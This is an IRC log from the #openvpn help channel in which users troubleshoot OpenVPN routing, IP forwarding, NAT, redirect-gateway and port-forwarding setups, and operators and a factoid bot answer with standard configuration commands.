02:29 -!- master_of_master [~master_of@p4FD7BB0E.dip0.t-ipconnect.de] has joined #openvpn
02:30 -!- AsadH- [~AsadH@unaffiliated/asadh] has joined #openvpn
02:30 -!- pwrcycle_ [~pwrcycle@173.214.160.92] has joined #openvpn
02:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-fcxzjpwenmcuuxyv] has quit [Disconnected by services]
02:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-yovwxnexioxckkfd] has joined #openvpn
02:31 -!- blendercrazy [~u@203.23.78.188.dynamic.jazztel.es] has joined #openvpn
02:31 -!- __bt [foobar@77.240.12.157] has joined #openvpn
02:32 -!- mattock_afk [~mattock@raidz.im] has joined #openvpn
02:32 -!- u__ [~u@203.23.78.188.dynamic.jazztel.es] has joined #openvpn
02:34 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has joined #openvpn
02:34 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds]
02:34 -!- AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 260 seconds]
02:34 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 260 seconds]
02:34 -!- JSharpe [~JSharpe@31.205.63.22] has quit [Ping timeout: 260 seconds]
02:34 -!- reiffert [~thomas@mail.reifferscheid.org] has quit [Ping timeout: 260 seconds]
02:34 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has quit [Ping timeout: 260 seconds]
02:34 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 260 seconds]
02:34 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 260 seconds]
02:34 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 260 seconds]
02:34 -!- kevinsky [~kevin@senna.rosendaal.net] has quit [Ping timeout: 260 seconds]
02:34 -!- master_o1_master [~master_of@p4FD7BB0E.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
02:34 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 260 seconds]
02:34 -!- roue_ [~roue@66-188-204-44.dhcp.roch.mn.charter.com] has quit [Ping timeout: 260 seconds]
02:34 -!- _bt [foobar@unaffiliated/bt/x-192343] has quit [Ping timeout: 260 seconds]
02:35 -!- matsh [divine@nanogene.org] has joined #openvpn
02:35 -!- cian1500ww [~cian@109.200.20.155] has joined #openvpn
02:35 -!- kro[au] [~thatguy@kgovps.net] has quit [Ping timeout: 260 seconds]
02:35 -!- mattock_afk is now known as mattock
02:35 -!- AsadH- is now known as AsadH
02:35 -!- [clu5ter] is now known as clu5ter
02:35 -!- kro[au] [~thatguy@kgovps.net] has joined #openvpn
02:35 -!- cian1500ww [~cian@109.200.20.155] has quit [Changing host]
02:35 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has joined #openvpn
02:35 -!- mattock [~mattock@raidz.im] has quit [Changing host]
02:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
02:35 -!- mode/#openvpn [+o mattock] by ChanServ
02:35 -!- clu5ter [~staff@stealth.server.cybscripts.com] has quit [Changing host]
02:35 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
02:35 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
02:35 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
02:36 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
02:39 -!- u__ [~u@203.23.78.188.dynamic.jazztel.es] has quit [Quit: Saliendo]
02:39 -!- blendercrazy [~u@203.23.78.188.dynamic.jazztel.es] has quit [Quit: Saliendo]
02:39 -!- gabrign [~u@203.23.78.188.dynamic.jazztel.es] has quit [Quit: Saliendo]
02:45 -!- dowaat_ is now known as Turgenevskaya
02:48 -!- Turgenevskaya is now known as dowaat_
02:49 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has joined #openvpn
02:59 -!- akurilin [~alex@c-67-180-144-12.hsd1.ca.comcast.net] has joined #openvpn
03:00 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Remote host closed the connection]
03:00 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has joined #openvpn
03:04 -!- kubbing [~kubbing@48.247.broadband13.iol.cz] has quit [Ping timeout: 240 seconds]
03:13 -!- novaflash is now known as novaflash_away
03:14 -!- novaflash_away is now known as novaflash
03:26 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 250 seconds]
03:29 -!- akurilin [~alex@c-67-180-144-12.hsd1.ca.comcast.net] has quit [Quit: WeeChat 0.4.1]
03:35 -!- ayaka [~ayaka@222.76.205.131] has left #openvpn ["离开"]
03:51 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Remote host closed the connection]
03:51 -!- klaxa [~klaxa@klaxa.eu] has quit [Write error: Connection reset by peer]
03:52 -!- speed_racer84 [~speed_rac@172.56.14.168] has joined #openvpn
03:53 -!- Brando753 [~Brando753@unaffiliated/brando753] has quit [Read error: Connection reset by peer]
03:53 -!- Brando753 [~Brando753@unaffiliated/brando753] has joined #openvpn
03:54 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
04:00 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Ping timeout: 252 seconds]
04:12 -!- lilibox [~franta_bi@93.99.40.10] has joined #openvpn
04:12 < lilibox> hi
04:13 < lilibox> iwould like to know which line add to server config for my openvpn clinets bind servers IP
04:14 < lilibox> i want they will act as from same IP as server's one
04:14 < lilibox> thank you
04:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
04:16 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
04:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:36 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 250 seconds]
04:40 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:55 -!- xrosnight [~quassel@113.83.116.54] has joined #openvpn
05:04 -!- xrosnight [~quassel@113.83.116.54] has quit [Ping timeout: 265 seconds]
05:13 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
05:16 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
05:30 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Operation timed out]
05:31 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
05:33 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has joined #openvpn
05:35 -!- Carbon_Monoxide [~cmonxide@14.0.143.76] has left #openvpn []
05:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
05:40 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
05:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:41 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Remote host closed the connection]
05:42 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has joined #openvpn
05:51 -!- u0m3_ [~u0m3@92.80.102.164] has joined #openvpn
05:52 -!- u0m3 [~u0m3@92.80.74.24] has quit [Ping timeout: 245 seconds]
05:53 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
05:54 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 250 seconds]
05:56 -!- u0m3_ [~u0m3@92.80.102.164] has quit [Ping timeout: 240 seconds]
05:58 -!- u0m3_ [~u0m3@92.80.102.164] has joined #openvpn
06:03 -!- u0m3_ is now known as u0m3
06:08 -!- acu [~acu@24-159-215-150.static.roch.mn.charter.com] has joined #openvpn
06:16 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
06:16 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
06:22 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
06:22 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
06:27 -!- diddly [~dave@blk-224-220-110.eastlink.ca] has joined #openvpn
06:30 < diddly> hi, I've got an openvpn connection successfully made between my rpi server, and a remote machine (both linux).  The remote machine can ping the server both by tun0 address, as well as the server's local address.  Hoever if I try to ping anything else on the LAN from the remote machine, it doesn't work. tcpdump shows the traffic arriving on tun0 but must be being dropped.  I added the iptables rule "-A FORWARD -i tun0 -s [tun subnet]/24 -d [lan su
06:31 <@ecrist> diddly: you need to set the sysctl on the server to allow routing
06:31 <@ecrist> !ipforward
06:31 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
06:32 <@ecrist> !linipforward
06:32 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
06:33 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Read error: Operation timed out]
06:34 -!- takamichi [~takamichi@85.12.8.106] has joined #openvpn
06:34 -!- roue [~roue@66-188-204-44.dhcp.roch.mn.charter.com] has joined #openvpn
06:35 < diddly> ecrist: hmm, I forgot to mention that I did have ipv4 forwarding turned on.  I tried that iptables rule instead of mine, but same results
06:35 <@ecrist> !configs
06:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
06:37 < diddly> ecrist: server http://bpaste.net/show/156034/
06:38 < diddly> ecrist: client http://bpaste.net/show/156036/
06:39 < diddly> both ovpn-2.3.2
06:46 <@ecrist> ok, give me a few minutes
06:46 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:56 <@ecrist> diddly: you need to pick a different IP space
06:56 <@ecrist> !1918
06:56 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
06:57 <@ecrist> I'm specifically talking about line 10 of your server config
06:58 < diddly> ecrist: I'm confused, my local lan, remote lan, and tun0 all have unique subnets don't they?
06:58 <@ecrist> well, 192.168.1.x/24 is really really common.
06:59 <@ecrist> and you're likely going to, or are already running into conflicts
06:59 <@ecrist> if the remote client is on a lan that uses that address space, your VPN server is trying to push a route that is local to the client
06:59 < diddly> ecrist: oh to be sure, I'll be changing that once I'm ready to deploy, but for this test, remote uses 192.168.0.0/24 and tun0 is 192.168.130.0/24
06:59 <@ecrist> it won't work right.
06:59 < diddly> er 139 not 130
07:00 <@ecrist> in your tcpdump, do you ever see the traffic go from the tun0 interface to the LAN interface on the vpn server?
07:00 <@ecrist> also, it's best practice to use port 1194 unless you have a compelling reason to change it
07:02 < diddly> if I ssh from remote into the server running openvpn, but by specifying it's LAN address tcpdump shows traffic routing properly
07:03 < diddly> but if I attempt to ssh into another machine on the same LAN, tcpdump shows traffic but it never gets passed SYN
07:03 < diddly> and re port, I was thinking of running in a non-root jail so needed a non priv port, but I might not
07:05 <@ecrist> diddly: the remote LAN needs to know how to route back to the VPN clients
07:06 < diddly> it's weird because I can see the FORWARD rule incrementing it's counter as I ping, but the echo is never returned
07:06 <@ecrist> either you need to add a route on that network router for the vpn clients, or you need to NAT traffic from the VPN server to the remote lan
07:13 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 245 seconds]
07:14 < diddly> ecrist: arrrrrgghh, I had my NAT rule backwards :) thanks for making me look at it again (for the 3rd time).  I really appreciate you taking some time to walk me thru it :)
07:21 < lilibox> hi, after i added push redirect-gateway to my server's openvpn.conf firefox stopped working, but i obtained IP from LAN range and rest of vpn works fine, any hints what i did wrong?
07:32 -!- xrosnight [~quassel@113.83.116.54] has joined #openvpn
07:33 -!- xrosnight [~quassel@113.83.116.54] has quit [Changing host]
07:33 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
07:33 -!- abradley [~adam@64-132-116-2.static.twtelecom.net] has joined #openvpn
07:42 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
07:45 <@ecrist> diddly: no problem.
07:45 <@ecrist> lilibox: your openvpn server needs to nat vpn traffic out it's internet interface
07:46 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
07:50 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has joined #openvpn
07:50 < cirdan> morning. anyone around?
07:51 < cirdan> I reset all the settings on my dd-wrt router, put the openvpn settings back. they are all in the conf file. when I start openvpn from ssh, it just exits with no error message. nothing in syslog, nothing to the terminal, not even w/verb 5
07:55 -!- Devastator_ [~devas@186.214.111.241] has quit [Changing host]
07:55 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
07:55 -!- Devastator_ is now known as Devastator
07:57 <@ecrist> cirdan: I'm here
07:57 <@ecrist> !configs
07:57 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
07:58 <@ecrist> also, how are you starting the daemon?  with an init script, or from the CLI directly?
07:58 < cirdan> i've been trying directly
07:59 <@ecrist> put your command here, please
08:00 < cirdan> http://pastebin.com/sAy1M2iL
08:00 < cirdan> openvpn --config /tmp/openvpn/openvpn.conf
08:02 < cirdan> oh... i'm an idiot.
08:02 < cirdan> i forot that the conf redirected logs to openvpn.log
08:02 < lilibox> ecrist: thank you for help, when i added push "dhcp-option DNS 8.8.8.8 everything works fine, but my client's IP is still provider's one on side of client :(
08:03 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
08:04 -!- |1li_ [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Ping timeout: 245 seconds]
08:06 -!- james41382 [~james@unaffiliated/james41382] has quit [Quit: brb]
08:23 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:32 <@ecrist> lilibox: you didn't do what I told you to
08:33 <@ecrist> cirdan: glad I could help.
08:33 < cirdan> it's odd that dd-wrt redifined my network to 0.0.0.0
08:33 < cirdan> i didn't notice
08:35 -!- james41382 [~james@c-24-17-231-12.hsd1.wa.comcast.net] has joined #openvpn
08:35 -!- james41382 [~james@c-24-17-231-12.hsd1.wa.comcast.net] has quit [Changing host]
08:35 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
08:39 < james41382> I have been having this problem where I have to regen my dh2048.pem file every time I want to restart openvpn.
08:39 < james41382> I have openwrt and openvpn.
08:40 < james41382> I'll regen the file and openvpn will start fine, but then anytime i want to restrart it or reboot the router it will not start. This error is in the log: Cannot open dh2048.pem for DH parameters: error:02001002:lib(2):func(1):reason(2): error:2006D080:lib(32):func(109):reason(128)
08:41 < james41382> Okay off to work. I'll be back a little later. If anyone has any ideas please drop them.
08:45 < alexxtasi> hi there!! just a question from a newbie...
08:45 < alexxtasi> when I configure an OpenVPN server on a machine, should I open the openvpn configured port (let say tcp 4999) also on the machine's iptable ?
08:47 -!- takamichi [~takamichi@85.12.8.106] has quit [Ping timeout: 260 seconds]
08:47 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has left #openvpn []
08:49 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:57 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has joined #openvpn
08:58 < cirdan> hmm one more question.. im trying to have openvpn run on  ports, I setup a port forard on my router ftom port 53 to 1194. openvpn seems to see the connect packet but then times out. direct to port 1194 works though
08:59 < pagios> hi all has anyone tried doing some bonding of 3G connections using openvpn ? maybe BGP?
08:59 < pagios> i would like to load balance a single connection across multiple 3g connections
09:07 < cirdan> so odd
09:07 -!- alexxtasi [~alex@unaffiliated/alexxtasi] has left #openvpn []
09:08 <@EugeneKay> Make sure you picked udp in your forward
09:10 < cirdan> i did
09:11 < cirdan> I also tried iptables -t nat -A PREROUTING -i vlan2 -p udp --dport 53 -j REDIRECT --to-port 1194
09:11 < cirdan> this is on my router which also runs openvpn
09:16 <@ecrist> james41382: it's a permissions issue
09:16 <@ecrist> fix the permissions and quite regenerating your dh params
09:18 < cirdan> this is my issue pretty much... https://forums.openvpn.net/topic14137-15.html
09:18 <@vpnHelper> Title: OpenVPN Support Forum Forward port 53 to 1194 : Routing and Firewall Scripts - Page 2 (at forums.openvpn.net)
09:18 < cirdan> i dont even get that far though
09:18 <@ecrist> cirdan: that's not an openvpn problem, per se
09:18 <@ecrist> !notovpn
09:19 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
09:23 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has quit [Ping timeout: 246 seconds]
09:24 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has joined #openvpn
09:25 < cirdan> it is not happy
09:28 < cirdan> i get TLS: Initial packet from or VERIFY OK: depth=0 and then it times out when i connect on port 53... connect on the orig port and it's fine
09:32 <@ecrist> cirdan: you need to talk to the channel related to your firewall
09:32 <@ecrist> this isn't a firewall support channel
09:34 < cirdan> yeah, but since the openvpn devs seem to think listing on multiple ports isn't a feature worth adding, they just say "use iptables to redirect a port" :-)
09:40 -!- master_o1_master [~master_of@p4FD7B4DE.dip0.t-ipconnect.de] has joined #openvpn
09:41 -!- master_of_master [~master_of@p4FD7BB0E.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
09:51 < cirdan> ah well i give up for now
09:51 -!- cirdan [~chris@c-50-182-39-91.hsd1.nj.comcast.net] has left #openvpn []
09:58 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has joined #openvpn
09:58 < sec^nd> hello
09:59 < sec^nd> !welcome
09:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:59 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:59 < sec^nd> !howto
09:59 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
10:00 < sec^nd> !route
10:00 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for a basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind the server or
10:00 <@vpnHelper> client
10:01 < sec^nd> !redirect
10:01 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
10:01 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
10:03 -!- dowaat_ is now known as dowaat
10:06 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
10:18 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has joined #openvpn
10:19 < xanderer> how to give openvpn clients a static ip and let give other clients a dhcp ip ?
10:19 < xanderer> with local a.b.c.d ?
10:20 -!- john36l [~john36l@109.201.154.145] has joined #openvpn
10:20 <@ecrist> !static
10:20 <@vpnHelper> "static" is (#1) use --ifconfig-push in a ccd entry for a static ip for the vpn client or (#2) example in net30 (default): ifconfig-push 10.8.0.6 10.8.0.5 example in subnet (see !topology) or tap (see !tunortap): ifconfig-push 10.8.0.5 255.255.255.0 or (#3) also see !ccd and !iporder or (#4) when pushing static IPs, you should also limit your --ifconfig-pool to exclude the static range
10:22 < xanderer> mhh... ??
10:23 -!- ngharo_ is now known as ngharo
10:24 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Remote host closed the connection]
10:25 < xanderer> since my router has openWRT as operating system my computers in my network don't need anymore to connect to openvpn
10:26 < xanderer> maybe some routing has happened
10:26 < xanderer> but I can live with that
10:27 < xanderer> if I connect to openvpn server with opensuse 13.1 I get some internet problems, but not when I do it with windows 7
10:27 < xanderer> so all I have to do to connect to openvpn is not to connect to openvpn in my local network
10:31 < xanderer> is this known about openwrt and openvpn?
10:35 -!- john36l [~john36l@109.201.154.145] has quit []
10:39 < xanderer> another question
10:39 < xanderer> is it true that all < 2.3.2 are insecure?
10:40 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
10:41 < xanderer> there has been found a security hole in older version published 20.11.2013
10:43 < xanderer> http://www.pro-linux.de/sicherheit/2/23867/zwei-probleme-in-openvpn.html
10:43 <@vpnHelper> Title: Sicherheit: Zwei Probleme in OpenVPN - Pro-Linux (at www.pro-linux.de)
10:44 < xanderer> sorry that its in german
10:44 < xanderer> its about the security of old openvpn versions
10:45 < xanderer> and ubuntu LTS have not updated its openvpn!!!
10:45 < xanderer> ah I see that its german english mixed
10:52 < pagios> anyone looking to be hired for that task?
10:53 -!- js_ [~js@js.madepeople.se] has quit [Ping timeout: 245 seconds]
10:54 <@ecrist> what task, pagios 
10:54 -!- js_ [~js@js.madepeople.se] has joined #openvpn
10:54 < pagios> bonding 3g connections with openvpn
10:55 < pagios> like this: http://www.viprinet.com/en
10:55 <@vpnHelper> Title: Bonding instead of Load Balancing: maximum bandwidth and high reliability with Viprinet (at www.viprinet.com)
10:55 <@ecrist> create three tap interfaces, connect to openvpn on each three
10:56 <@ecrist> set up link aggregation across the set
10:56 <@ecrist> done
10:56 <@ecrist> not that hard - just do it yourself
10:56 < pagios> ecrist: what about if the links are not equally in speed and throupught?
10:56 <@ecrist> so what?
10:57 < pagios> if link1 is slow and link2 is fast and then data seg1 is sent over link1 and seg2 3 4 are over 2 so they will need to wait for 1
10:57 < pagios> these kind of complexities... what to do about them
10:57 <+pekster> Latency and out-of-order delivery could pose problems, especially if tcp is the inside transport protocol; tuning of the bonded set or tuning tcp params might help, but that's just the natural consequences of sending sucessive packets in a tcp stream across different paths
10:57 <@ecrist> !notovpn
10:57 <@vpnHelper> "notovpn" is (#1) "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem or (#2) sorry, but we dont care. this channel is only for help with openvpn.
10:57 <+pekster> But yea, openvpn's job is done with you get your tap set up
10:58 <+pekster> You have "the same" problem with any raw bonding solution over multiple links at different providers
10:58 < pagios> pekster: what about if i use udp will it be fine theoretically?
10:58 <+pekster> Maybe; then it's up to your application to deal with delivery problems
10:58 <@ecrist> really, your correct solution is BGP across all three links and route link priority
10:58 < pagios> ecrist: BGP and UDP?
10:58 <@ecrist> you're a fucking clown
10:59 < pagios> huh?
10:59 <@ecrist> yes, BGP
10:59 < pagios> i meant udp over bgp
10:59 <@ecrist> BGP is a routing protocol
10:59 < pagios> yes and udp is a transfer protocol :)
10:59 <@ecrist> go away 
11:08 < xanderer> how do I make a vpnserver to a internet gateway?
11:12 <@krzee> !redirect
11:12 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:12 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 260 seconds]
11:14 < xanderer> !def1
11:14 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
11:15 -!- speed_racer84 [~speed_rac@172.56.14.168] has quit [Ping timeout: 250 seconds]
11:15 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
11:17 -!- takamichi [~takamichi@85.12.8.14] has joined #openvpn
11:17 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
11:20 < xanderer> !ipforward
11:20 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
11:20 < xanderer> !dns
11:20 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
11:31 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:31 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
11:32 < xanderer> test
11:33 < xanderer> how do I know when connected to my openvpn server, that the traffic is routed through my openvpn server?
11:33 < xanderer> when client and server is in the lan
11:33 < xanderer> but I connected with the external IP, my router forwards this to my openvpn server
11:37 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 264 seconds]
11:38 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has joined #openvpn
11:38 -!- dimm0k [~dimm0k@pool-96-246-33-134.nycmny.fios.verizon.net] has quit [Changing host]
11:38 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
11:38 -!- xanderer1 [~Alex@82.113.98.213] has joined #openvpn
11:38 -!- sec^nd [~second@gateway/tor-sasl/sec0nd] has quit [Quit: WeeChat 0.4.2]
11:40 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has quit [Ping timeout: 272 seconds]
11:45 -!- john35l [~john35l@109.201.154.145] has joined #openvpn
11:47 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has joined #openvpn
11:47 -!- Sembei [~Sembei@unaffiliated/sembei] has quit [Ping timeout: 272 seconds]
11:47 -!- takamichi [~takamichi@85.12.8.14] has quit [Ping timeout: 250 seconds]
11:48 -!- xanderer1 [~Alex@82.113.98.213] has quit [Ping timeout: 250 seconds]
11:51 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
11:53 < xanderer> test
11:53 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has left #openvpn []
11:55 -!- eliasp_ is now known as eliasp
11:59 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:00 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has joined #openvpn
12:00 -!- acu [~acu@24-159-215-150.static.roch.mn.charter.com] has quit [Quit: Leaving]
12:01 -!- Sembei [~Sembei@unaffiliated/sembei] has joined #openvpn
12:04 <@krzee> !redirect
12:04 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:04 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:04 <@krzee> !ip
12:04 <@krzee> !factoids
12:04 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php
12:05 <@krzee> !tools
12:05 <@vpnHelper> "tools" is https://www.secure-computing.net/ip.php
12:05 -!- kubbing [~kubbing@ip-94-113-130-229.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
12:05 <@krzee> oh he left
12:28 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:30 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
12:33 -!- xanderer [~Alex@146-52-76-93-dynip.superkabel.de] has joined #openvpn
12:33 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
